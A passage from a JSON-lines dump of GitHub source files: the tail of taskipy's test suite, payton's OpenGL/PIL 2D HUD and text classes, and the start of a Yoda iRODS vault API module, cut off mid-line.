category=ResourceWarning)\n\n def interrupt_task(self, process: subprocess.Popen):\n psutil_process_wrapper = psutil.Process(process.pid)\n\n processes = psutil_process_wrapper.children(recursive=True)\n\n innermost_process = next(filter(lambda p: p.name().lower().startswith('python'), processes))\n innermost_process.send_signal(signal.SIGINT)\n\n def test_handling_sigint_according_to_subprocess_if_it_handles_it_gracefully(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_handle_interrupts')\n process = self.start_taskipy_process('run_loop_with_interrupt_handling', cwd=cwd)\n\n time.sleep(.2)\n\n self.interrupt_task(process)\n exit_code = process.wait()\n\n self.assertEqual(exit_code, 0)\n\n def test_handling_sigint_according_to_subprocess_if_it_does_not_handle_it_gracefully(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_handle_interrupts')\n process = self.start_taskipy_process('run_loop_without_interrupt_handling', cwd=cwd)\n\n time.sleep(.2)\n\n self.interrupt_task(process)\n\n exit_code = process.wait()\n\n self.assertEqual(exit_code, 130)\n\n def test_sigterm_should_be_sent_to_subprocess(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_handle_sigterm')\n process = self.start_taskipy_process('run_loop_with_sigterm_handling', cwd=cwd)\n\n time.sleep(.2)\n\n process.send_signal(signal.SIGTERM)\n\n exit_code = process.wait()\n stdout, _ = process.communicate()\n\n self.assertEqual(exit_code, 123)\n self.assertSubstr('sigterm', str(stdout))\n\n\nclass CustomRunnerTestCase(TaskipyTestCase):\n def test_running_command_with_custom_runner(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n runner = \"time\"\n\n [tool.taskipy.tasks]\n print_with_python = \"python -c 'print(1337)'\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n _, _, stderr = self.run_task('print_with_python', cwd=cwd)\n\n time_cmd_output_format = 'user'\n self.assertSubstr(time_cmd_output_format, stderr)\n\n def test_running_command_with_custom_runner_with_trailing_space(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n runner = \"time \"\n\n [tool.taskipy.tasks]\n print_with_python = \"python -c 'print(1337)'\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n _, _, stderr = self.run_task('print_with_python', cwd=cwd)\n\n time_cmd_output_format = 'user'\n self.assertSubstr(time_cmd_output_format, stderr)\n\n def test_running_command_with_custom_runner_fails_if_custom_runner_is_not_string(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n runner = 55\n\n [tool.taskipy.tasks]\n print_with_python = \"python -c 'print(1337)'\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('print_with_python', cwd=cwd)\n\n self.assertSubstr('invalid value: runner is not a string. please check [tool.taskipy.settings.runner]', stdout)\n self.assertEqual(exit_code, 1)\n\n\nclass TaskFromChildTestCase(TaskipyTestCase):\n def test_running_parent_pyproject_task_from_child_directory(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_from_child')\n _, stdout, _ = self.run_task('print_current_dir_name', cwd=path.join(cwd, 'child_without_pyproject'))\n\n self.assertSubstr('child_without_pyproject', stdout)\n\n def test_find_nearest_pyproject_from_child_directory(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_from_child')\n _, stdout, _ = self.run_task('hello', cwd=path.join(cwd, 'child_with_pyproject'))\n\n self.assertSubstr('hello from child', stdout)\n\n\nclass UseVarsTestCase(TaskipyTestCase):\n def test_use_vars_working(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name:<10}:\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello John Doe :', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_use_vars_no_param(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name}\" }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello {name}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_use_vars_param_disabled(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name}\", use_vars = false }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello {name}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_use_vars_str_task_no_param(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = \"echo hello {name}\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello {name}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_use_vars_param_malformed(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name}\", use_vars = 1 }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('task\\'s \"use_vars\" arg has to be bool', stdout)\n self.assertEqual(exit_code, 1)\n\n def test_use_vars_missing_var(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr(\"reason: 'name' variable expected in [tool.taskipy.variables]\", stdout)\n self.assertEqual(exit_code, 1)\n\n def test_use_vars_setting(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = true\n\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = \"echo hello {name:<10}:\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello John Doe :', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_use_vars_setting_override_to_false(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = true\n\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name}:\", use_vars = false }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello {name}:', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_use_vars_setting_override_to_true(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = false\n\n [tool.taskipy.variables]\n name = \"John Doe\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo hello {name}:\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello John Doe:', stdout)\n self.assertEqual(exit_code, 0)\n\n\nclass RecursiveVariablesTestCase(TaskipyTestCase):\n def test_recursive_variables_can_use_other_variables(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = true\n\n [tool.taskipy.variables]\n first_name = \"John\"\n last_name = \"Doe\"\n full_name = { var = \"{first_name} {last_name}\", recursive = true }\n\n [tool.taskipy.tasks]\n echo = \"echo hello {full_name}\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello John Doe', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_recursive_variables_can_use_other_recursive_variables(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = true\n\n [tool.taskipy.variables]\n first_name = \"John\"\n last_name = \"Doe\"\n full_name = { var = \"{first_name} {last_name}\", recursive = true }\n another_name = { var = \"{full_name} another name!\", recursive = true }\n even_another_name = { var = \"{another_name} {full_name}\", recursive = true }\n\n [tool.taskipy.tasks]\n echo = \"echo hello {even_another_name}\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('hello John Doe another name! John Doe', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_error_is_raised_if_a_cycle_is_detected(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = true\n\n [tool.taskipy.variables]\n last_name = { var = \"{first_name}\", recursive = true }\n first_name = { var = \"{last_name}\", recursive = true }\n\n [tool.taskipy.tasks]\n echo = \"echo hello {first_name} {last_name}!\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('cannot resolve variables, found variables that depend on each other', stdout)\n self.assertEqual(exit_code, 127)\n\n def test_non_recursive_variables_cant_use_other_variables(self):\n py_project_toml = '''\n [tool.taskipy.settings]\n use_vars = true\n\n [tool.taskipy.variables]\n first_name = \"John\"\n last_name = \"Doe\"\n full_name_1 = \"{first_name} {last_name}\"\n full_name_2 = { var = \"{first_name} {last_name}\", recursive = false }\n\n [tool.taskipy.tasks]\n echo = \"echo full_name_1: {full_name_1} full_name_2: {full_name_2}!\"\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('full_name_1: {first_name} {last_name} full_name_2: {first_name} {last_name}', stdout)\n self.assertEqual(exit_code, 0)\n\n\nclass VariableSchemaTestCase(TaskipyTestCase):\n def test_variables_can_be_strings(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = \"John\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo {name}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('John', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_variables_can_be_a_table_with_var_key_and_no_recursive_key(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = { var = \"John\" }\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo {name}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('John', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_variables_can_be_a_table_with_var_key_and_recursive_key(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n name = { var = \"John\", recursive = true }\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo {name}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('John', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_variable_table_by_default_is_not_recursive(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n test = \"test var\"\n name = { var = \"{test}\" }\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo {name}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('{test}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_regular_string_variable_are_not_recursive(self):\n py_project_toml = '''\n [tool.taskipy.variables]\n test = \"test var\"\n name = \"{test}\"\n\n [tool.taskipy.tasks]\n echo = { cmd = \"echo {name}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('{test}', stdout)\n self.assertEqual(exit_code, 0)\n\n @parameterized.expand([(5,), (5.5, ), ([], ), (\"false\",), ({},)])\n def test_other_variable_schemas_are_rejected_with_invalid_variable_error(\n self, value\n ):\n py_project_toml = f'''\n [tool.taskipy.variables]\n test = {value}\n ''' + '''\n [tool.taskipy.tasks]\n echo = { cmd = \"echo {test}\", use_vars = true }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('echo', cwd=cwd)\n self.assertSubstr('variable test is invalid', stdout)\n self.assertEqual(exit_code, 127)\n","repo_name":"taskipy/taskipy","sub_path":"tests/test_taskipy.py","file_name":"test_taskipy.py","file_ext":"py","file_size_in_byte":29877,"program_lang":"python","lang":"en","doc_type":"code","stars":384,"dataset":"github-code","pt":"67"} +{"seq_id":"11110847629","text":"import math\nimport os\nfrom textwrap import wrap\nfrom typing import Any, Callable, Dict, List, Optional, Tuple, TypeVar, cast\n\nimport numpy as np\nfrom OpenGL.GL import GL_DEPTH_TEST, glDisable, glEnable\nfrom PIL import Image, ImageDraw, ImageFont\n\nfrom payton.math.functions import ortho\nfrom payton.math.vector import Vector3D\nfrom payton.scene.geometry.base import Object\nfrom payton.scene.geometry.mesh import Mesh\nfrom payton.scene.shader import Shader\n\nS2 = TypeVar(\"S2\", bound=\"Shape2D\")\n\n\nclass Shape2D(Mesh):\n def __init__(\n self,\n position: List[int],\n size: List[int],\n on_click: Optional[Callable] = None,\n opacity: float = 0.1,\n **kwargs: Any,\n ):\n \"\"\"Initialize 2D Shape\n\n Keyword arguments:\n position -- Position of the shape on the screen (x, y, and optionally Z as integer)\n size -- Size of the shape (w, h as integer)\n on_click -- On Click event callback (takes no arguments)\n opacity -- Opacity of the shape\n \"\"\"\n super().__init__(**kwargs)\n self.material.opacity = opacity\n position = list(position)\n if len(position) == 2:\n position.append(0)\n position[2] = -1\n self.__position = position\n self.position = [float(x) for x in self.__position]\n self.size = size\n self.on_click: Optional[Callable] = on_click\n self._font: ImageFont = None\n self.parent: Any = None\n self._scene_width: int = 0\n self._scene_height: int = 0\n\n @property\n def physics(self) -> bool:\n return False\n\n def add_child(self, name: str, obj: Object) -> bool:\n \"\"\"Add a child shape to this shape object.\n\n This method overrides the parent by arguments. Child object's position\n follows the parent.\n\n Keyword arguments:\n name -- Name of the object to be added\n obj -- Shape2D Object to add.\n \"\"\"\n res = super().add_child(name, cast(Object, obj))\n if not res:\n return res\n if isinstance(obj, Shape2D):\n obj.parent = self\n return res\n\n def draw(self) -> None:\n \"\"\"Placeholder for draw function\"\"\"\n ...\n\n def draw_text(self) -> None:\n \"\"\"Placeholder for draw text function\"\"\"\n ...\n\n def render(\n self,\n lit: bool,\n shader: Shader,\n parent_matrix: Optional[np.ndarray] = None,\n _primitive: Optional[int] = None,\n ) -> None:\n \"\"\"Render cycle for the Shape 2D\n\n We override the `lit` parameter for the super.\n This is not actually intended to be used publicly except if you want to\n setup your own render cycle.\n \"\"\"\n super().render(False, shader, parent_matrix)\n\n @property\n def font(self) -> None:\n \"\"\"Return the fond of the shape\"\"\"\n if self._font is not None:\n return self._font\n if self.parent is not None:\n return self.parent.font\n return None\n\n @font.setter\n def font(self, font: ImageFont) -> None:\n \"\"\"Set the font of the Shape\n\n Keyword arguments:\n font -- ImageFont object\n \"\"\"\n self._font = font\n self.draw_text()\n\n def _set_parent_size(self, w: int, h: int) -> None:\n self._parent_width = w\n self._parent_height = h\n self._init = False\n self.draw()\n\n for child in self.children.values():\n cast(\"Shape2D\", child)._set_parent_size(self.size[0], self.size[1])\n\n def click(self, x: int, y: int) -> Optional[Mesh]:\n \"\"\"Check for click event\n\n Keyword arguments:\n x -- Cursor X\n y -- Cursor Y\n \"\"\"\n if not callable(self.on_click):\n for child in self.children:\n c = cast(Mesh, self.children[child]).click(x, y)\n if c:\n return cast(Mesh, self.children[child])\n return None\n\n if self._model_matrix is None:\n return None\n mm = self._model_matrix[3]\n if x > mm[0] and x < mm[0] + self.size[0] and y > mm[1] and y < mm[1] + self.size[1]:\n self.on_click()\n return self\n return None\n\n\nclass Rectangle(Shape2D):\n def __init__(\n self,\n position: List[int],\n size: List[int],\n **kwargs: Any,\n ):\n \"\"\"Initialize Rectangle\n\n Keyword arguments:\n position -- Tuple as [X, Y, Z] positions\n size -- Size of the rectangle\n \"\"\"\n super().__init__(position=position, size=size, **kwargs)\n self._init: bool = False\n self.draw()\n\n def draw(self) -> None:\n \"\"\"Create the rectangle polygons\"\"\"\n w, h = self.size\n self.clear_triangles()\n if not self._init:\n self.add_triangle(\n [[0, 0, 1], [w, h, 1], [w, 0, 1]],\n texcoords=[[0, 0], [1, 1], [1, 0]],\n )\n self.add_triangle(\n [[0, 0, 1], [0, h, 1], [w, h, 1]],\n texcoords=[[0, 0], [0, 1], [1, 1]],\n )\n self._init = True\n\n\nclass Text(Rectangle):\n def __init__(\n self,\n position: List[int],\n size: List[int],\n label: str = \"lorem\",\n bgcolor: Optional[Vector3D] = None,\n color: Optional[Vector3D] = None,\n **kwargs: Any,\n ) -> None:\n \"\"\"Initialize Text object (label)\n\n Keyword arguments:\n position -- Tuple as [X, Y, Z] positions on the screen\n size -- Size of the text area\n label -- Text / Label to be printed\n bgcolor -- Background color of the text\n color -- Color of the text\"\"\"\n super().__init__(position=position, size=size, **kwargs)\n self.__label: str = label\n self.bgcolor: Vector3D = [0, 0, 0, 0]\n if bgcolor is not None:\n self.bgcolor = bgcolor\n\n self.color: Vector3D = [0, 0, 0]\n if color is not None:\n self.color = color\n\n self.crop = [0, 0, 0, 0]\n self._init_text: bool = False\n self._max_char_width = 0.0\n\n @property\n def label(self) -> str:\n \"\"\"Get the label of the text\"\"\"\n return self.__label\n\n @label.setter\n def label(self, label: str) -> None:\n \"\"\"Set the label of the text\n\n Keyword arguments:\n label -- Label string\n \"\"\"\n self.__label = label\n self._init_text = False\n\n def render(\n self,\n lit: bool,\n shader: Shader,\n parent_matrix: Optional[np.ndarray] = None,\n _primitive: Optional[int] = None,\n ) -> None:\n \"\"\"Render the text object by initializing the text material if not initialized yet\n\n Keyword arguments:\n lit -- Is the object illuminated?\n shader -- Shader to use while rendering the object\n parent_matrix -- Parent object's matrix if this is a child object\n _primitive -- override the scene wide primitive (rendering) mode. (Point, Wire, Solid)\n \"\"\"\n if not self._init_text:\n self.draw_text()\n super().render(lit, shader, parent_matrix)\n\n @property\n def text_size(self) -> Tuple[int, int]:\n \"\"\"Return the text size in pixels\"\"\"\n res = (0, 0)\n timg = Image.new(\"RGBA\", (1, 1))\n d = ImageDraw.Draw(timg)\n\n res = d.textsize(self.label, font=self.font)\n lres = list(res)\n\n lres[0] = max(lres[0], self.size[0])\n lres[1] = max(lres[1] + 4, self.size[1])\n return lres[0], lres[1]\n\n def wrap(self, width_in_pixels: int) -> None:\n \"\"\"Word-wrap the text to fit into the given pixel size\n\n Keyword arguments:\n width_in_pixels -- Width size in pixels to fit the text into\n \"\"\"\n original = self.label\n self.label = \"\"\n if self.font is None:\n return\n if self._max_char_width == 0.0:\n self._max_char_width = self.font.getsize('_')[0]\n split_length = int(math.floor(width_in_pixels / self._max_char_width)) - 1\n parts = wrap(original, split_length)\n self.__label = \"\\n\".join(parts)\n\n self._init_text = False\n\n def draw_text(self) -> None:\n \"\"\"Create the text material and initialize the font if needed\"\"\"\n if self._init_text:\n return\n bgcolor = (\n int(self.bgcolor[0] * 255),\n int(self.bgcolor[1] * 255),\n int(self.bgcolor[2] * 255),\n int(self.bgcolor[3] * 255),\n )\n img = Image.new(\"RGBA\", self.text_size, color=bgcolor)\n d = ImageDraw.Draw(img, \"RGBA\")\n color = (int(self.color[0] * 255), int(self.color[1] * 255), int(self.color[2] * 255), 255)\n if self.font is not None:\n d.text((1, 1), self.label, fill=color, font=self.font)\n else:\n d.text((1, 1), self.label, fill=color)\n if any(self.crop):\n img = img.crop(self.crop)\n del d\n\n self.material._image = img\n self.material.opacity = 1.0\n self.material.refresh()\n self._init_text = True\n\n\nclass Hud(Object):\n def __init__(\n self,\n width: int = 800,\n height: int = 600,\n font: str = \"\",\n font_size: int = 15,\n **kwargs: Any,\n ) -> None:\n \"\"\"Initialize HUD Object to render HUD elements.\n\n You need a HUD in a scene to render 2D shapes on top of your scene\n\n Keyword arguments:\n width -- Width of the HUD area\n height -- Height of the HUD area\n font -- Font name to use (default: monofonto provided by the package)\n font_size -- Font size in pixels\n \"\"\"\n super().__init__(**kwargs)\n self.width: int = width\n self.height: int = height\n self._fontname: str = font\n self.children: Dict[str, Object] = {}\n self._font_size: int = font_size\n if self._fontname != \"\":\n self.set_font(self._fontname, self._font_size)\n self._font: ImageFont = None\n self._projection_matrix: Optional[np.ndarray] = None\n try:\n self.set_font(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"monofonto.ttf\"))\n except OSError:\n # font not found but pillow has better than nothinf font\n pass\n\n @property\n def font(self) -> ImageFont:\n \"\"\"Return the HUD Image Font\"\"\"\n return self._font\n\n def add_child(self, name: str, obj: Object) -> bool:\n \"\"\"Add 2D Shape into Hud.\n\n Note: this is a type ignore due to it's mismatch with Object add_child method\n\n Keyword arguments:\n name -- Name of the object\n obj -- Shape2D object to add\"\"\"\n res = super().add_child(name, obj)\n if isinstance(obj, Shape2D):\n obj._scene_height = self.height\n obj._scene_width = self.width\n obj.parent = self\n\n if not res:\n return res\n return res\n\n def render(self, lit: bool, shader: Shader, *_args: Any) -> None:\n \"\"\"Main render cycle for HUD\n\n Disables the DEPTH test and draws the objects from parent to child\n \"\"\"\n if not self.visible:\n return\n lit = False\n glDisable(GL_DEPTH_TEST)\n if self._projection_matrix is None:\n self._projection_matrix = ortho(0, self.width, self.height, 0)\n\n shader.set_int(\"view_mode\", 1)\n shader.set_matrix4x4_np(\"projection\", self._projection_matrix)\n for child in self.children:\n self.children[child].render(lit, shader, None)\n glEnable(GL_DEPTH_TEST)\n\n def set_size(self, w: int, h: int) -> None:\n \"\"\"Set HUD size\n\n Keyword arguments:\n w -- Width of the HUD\n h -- Height of the HUD\n \"\"\"\n self.width = w\n self.height = h\n for child in self.children.values():\n if isinstance(child, Shape2D):\n child._set_parent_size(w, h)\n child._init = False\n child.draw()\n\n self._projection_matrix = None\n\n def set_font(self, font_name: str, font_size: int = 16) -> None:\n \"\"\"Set True Type font for the Hud\n\n Keyword arguments:\n font_name -- Name of the True Type font installed in the system\n font_size -- Size of the font in pixels\n \"\"\"\n self._font = ImageFont.truetype(font_name, font_size)\n","repo_name":"sinanislekdemir/payton","sub_path":"payton/scene/gui/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":12416,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"67"} +{"seq_id":"15073405862","text":"# -*- coding: utf-8 -*-\n\"\"\"Functions to copy packages to the vault and manage permissions of vault packages.\"\"\"\n\n__copyright__ = 'Copyright (c) 2019-2022, Utrecht University'\n__license__ = 'GPLv3, see LICENSE'\n\nimport itertools\nimport os\nimport re\nimport subprocess\nimport time\nfrom datetime import datetime\n\nimport genquery\nimport irods_types\nfrom dateutil import parser\n\nimport folder\nimport groups\nimport meta\nimport meta_form\nimport policies_datamanager\nimport policies_datapackage_status\nfrom util import *\n\n__all__ = ['api_vault_submit',\n 'api_vault_approve',\n 'api_vault_cancel',\n 'api_vault_depublish',\n 'api_vault_republish',\n 'api_vault_preservable_formats_lists',\n 'api_vault_unpreservable_files',\n 'rule_vault_copy_original_metadata_to_vault',\n 'rule_vault_write_license',\n 'rule_vault_enable_indexing',\n 'rule_vault_disable_indexing',\n 'rule_vault_process_status_transitions',\n 'api_vault_system_metadata',\n 'api_vault_collection_details',\n 'api_vault_get_package_by_reference',\n 'api_vault_copy_to_research',\n 'api_vault_get_publication_terms',\n 'api_vault_get_landingpage_data',\n 'api_grant_read_access_research_group',\n 'api_revoke_read_access_research_group',\n 'api_vault_get_published_packages']\n\n\n@api.make()\ndef api_vault_submit(ctx, coll, previous_version=None):\n \"\"\"Submit data package for publication.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to submit\n :param previous_version: Path to previous version of data package in the vault\n\n :returns: API status\n \"\"\"\n ret = vault_request_status_transitions(ctx, coll, constants.vault_package_state.SUBMITTED_FOR_PUBLICATION, previous_version)\n\n if ret[0] == '':\n log.write(ctx, 'api_vault_submit: iiAdminVaultActions')\n ctx.iiAdminVaultActions()\n return 'Success'\n else:\n return api.Error(ret[0], ret[1])\n\n\n@api.make()\ndef api_vault_approve(ctx, coll):\n \"\"\"Approve data package for publication.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to approve\n\n :returns: API status\n \"\"\"\n # Check for previous version.\n previous_version = get_previous_version(ctx, coll)\n\n # Add related data package metadata for new and previous version.\n if previous_version:\n meta_add_new_version(ctx, coll, previous_version)\n\n ret = vault_request_status_transitions(ctx, coll, constants.vault_package_state.APPROVED_FOR_PUBLICATION)\n\n if ret[0] == '':\n log.write(ctx, 'api_vault_approve: iiAdminVaultActions')\n ctx.iiAdminVaultActions()\n return 'Success'\n else:\n return api.Error(ret[0], ret[1])\n\n\n@api.make()\ndef api_vault_cancel(ctx, coll):\n \"\"\"Cancel submit of data package.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to cancel submit\n\n :returns: API status\n \"\"\"\n ret = vault_request_status_transitions(ctx, coll, constants.vault_package_state.UNPUBLISHED)\n\n if ret[0] == '':\n log.write(ctx, 'api_vault_submit: iiAdminVaultActions')\n ctx.iiAdminVaultActions()\n return 'Success'\n else:\n return api.Error(ret[0], ret[1])\n\n\n@api.make()\ndef api_vault_depublish(ctx, coll):\n \"\"\"Depublish data package.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to depublish\n\n :returns: API status\n \"\"\"\n ret = vault_request_status_transitions(ctx, coll, constants.vault_package_state.PENDING_DEPUBLICATION)\n\n if ret[0] == '':\n log.write(ctx, 'api_vault_submit: iiAdminVaultActions')\n ctx.iiAdminVaultActions()\n return 'Success'\n else:\n return api.Error(ret[0], ret[1])\n\n\n@api.make()\ndef api_vault_republish(ctx, coll):\n \"\"\"Republish data package.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to republish\n\n :returns: API status\n \"\"\"\n ret = vault_request_status_transitions(ctx, coll, constants.vault_package_state.PENDING_REPUBLICATION)\n\n if ret[0] == '':\n log.write(ctx, 'api_vault_submit: iiAdminVaultActions')\n ctx.iiAdminVaultActions()\n return 'Success'\n else:\n return api.Error(ret[0], ret[1])\n\n\n@api.make()\ndef api_vault_copy_to_research(ctx, coll_origin, coll_target):\n \"\"\"Copy data package from vault to research space.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll_origin: Collection of data package to copy\n :param coll_target: Collection to copy data package to\n\n :returns: API status\n \"\"\"\n zone = user.zone(ctx)\n\n # API error introduces post-error in requesting application.\n if coll_target == \"/\" + zone + \"/home\":\n return api.Error('HomeCollectionNotAllowed', 'Please select a specific research folder for your datapackage')\n\n # Check if target is a research folder. I.e. none-vault folder.\n parts = coll_target.split('/')\n group_name = parts[3]\n if group_name.startswith('vault-'):\n return api.Error('RequiredIsResearchArea', 'Please select a specific research folder for your datapackage')\n\n # Check whether datapackage folder already present in target folder.\n # Get package name from origin path\n parts = coll_origin.split('/')\n new_package_collection = coll_target + '/' + parts[-1]\n\n # Now check whether target collection already exist.\n if collection.exists(ctx, new_package_collection):\n return api.Error('PackageAlreadyPresentInTarget', 'This datapackage is already present at the specified place')\n\n # Check if target path exists.\n if not collection.exists(ctx, coll_target):\n return api.Error('TargetPathNotExists', 'The target you specified does not exist')\n\n # Check if user has READ ACCESS to specific vault packatge in collection coll_origin.\n user_full_name = user.full_name(ctx)\n category = groups.group_category(ctx, group_name)\n is_datamanager = groups.user_is_datamanager(ctx, category, user.full_name(ctx))\n\n if not is_datamanager:\n # Check if research group has access by checking of research-group exists for this user.\n research_group_access = collection.exists(ctx, coll_origin)\n\n if not research_group_access:\n return api.Error('NoPermissions', 'Insufficient rights to perform this action')\n\n # Check for possible locks on target collection.\n lock_count = meta_form.get_coll_lock_count(ctx, coll_target)\n if lock_count:\n return api.Error('TargetCollectionLocked', 'The folder you selected is locked.')\n\n # Check if user has write access to research folder.\n # Only normal user has write access.\n if not groups.user_role(ctx, group_name, user_full_name) in ['normal', 'manager']:\n return api.Error('NoWriteAccessTargetCollection', 'Not permitted to write in selected folder')\n\n # Register to delayed rule queue.\n delay = 10\n\n ctx.delayExec(\n \"<PLUSET>%ds</PLUSET>\" % delay,\n \"iiCopyFolderToResearch('%s', '%s')\" % (coll_origin, coll_target),\n \"\")\n\n # TODO: response nog veranderen\n return {\"status\": \"ok\",\n \"target\": coll_target,\n \"origin\": coll_origin}\n\n\n@api.make()\ndef api_vault_preservable_formats_lists(ctx):\n \"\"\"Retrieve lists of preservable file formats on the system.\n\n :param ctx: Combined type of a callback and rei struct\n\n :returns: dict -- Lists of preservable file formats {name => [ext...]}\n \"\"\"\n zone = user.zone(ctx)\n\n # Retrieve all preservable file formats lists on the system.\n\n files = [x for x in collection.data_objects(ctx, '/{}/yoda/file_formats'.format(zone))\n if x.endswith('.json')]\n\n # Return dict of list filename (without extension) -> JSON contents\n return {os.path.splitext(pathutil.chop(x)[1])[0]:\n jsonutil.read(ctx, x) for x in files}\n\n\n@api.make()\ndef api_vault_unpreservable_files(ctx, coll, list_name):\n \"\"\"Retrieve the set of unpreservable file formats in a collection.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of folder to check\n :param list_name: Name of preservable file format list\n\n :returns: Set of unpreservable file formats\n \"\"\"\n zone = pathutil.info(coll)[1]\n\n # Retrieve JSON list of preservable file formats.\n list_data = jsonutil.read(ctx, '/{}/yoda/file_formats/{}.json'.format(zone, list_name))\n preservable_formats = 